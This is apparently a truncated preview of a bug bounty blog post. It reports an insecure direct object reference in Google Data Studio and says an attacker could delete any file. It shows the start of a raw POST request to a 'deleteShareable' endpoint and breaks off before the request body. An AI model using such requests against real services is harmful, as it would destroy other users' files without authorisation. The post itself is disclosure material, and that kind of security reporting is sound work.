Idor in datastudio.google.com
Description :
Attacker can able to delete any file with vulnerable endpoint ..!
Endpoint :
POST /u/4/deleteShareable?appVersion=20190926_020020 HTTP/1.1
Host: datastudio.google.com
Connection: close
Content-Length: 54
Sec-Fetch-Mode: cors
Origin: htt...
thesecurityguy.hashnode.dev1 min read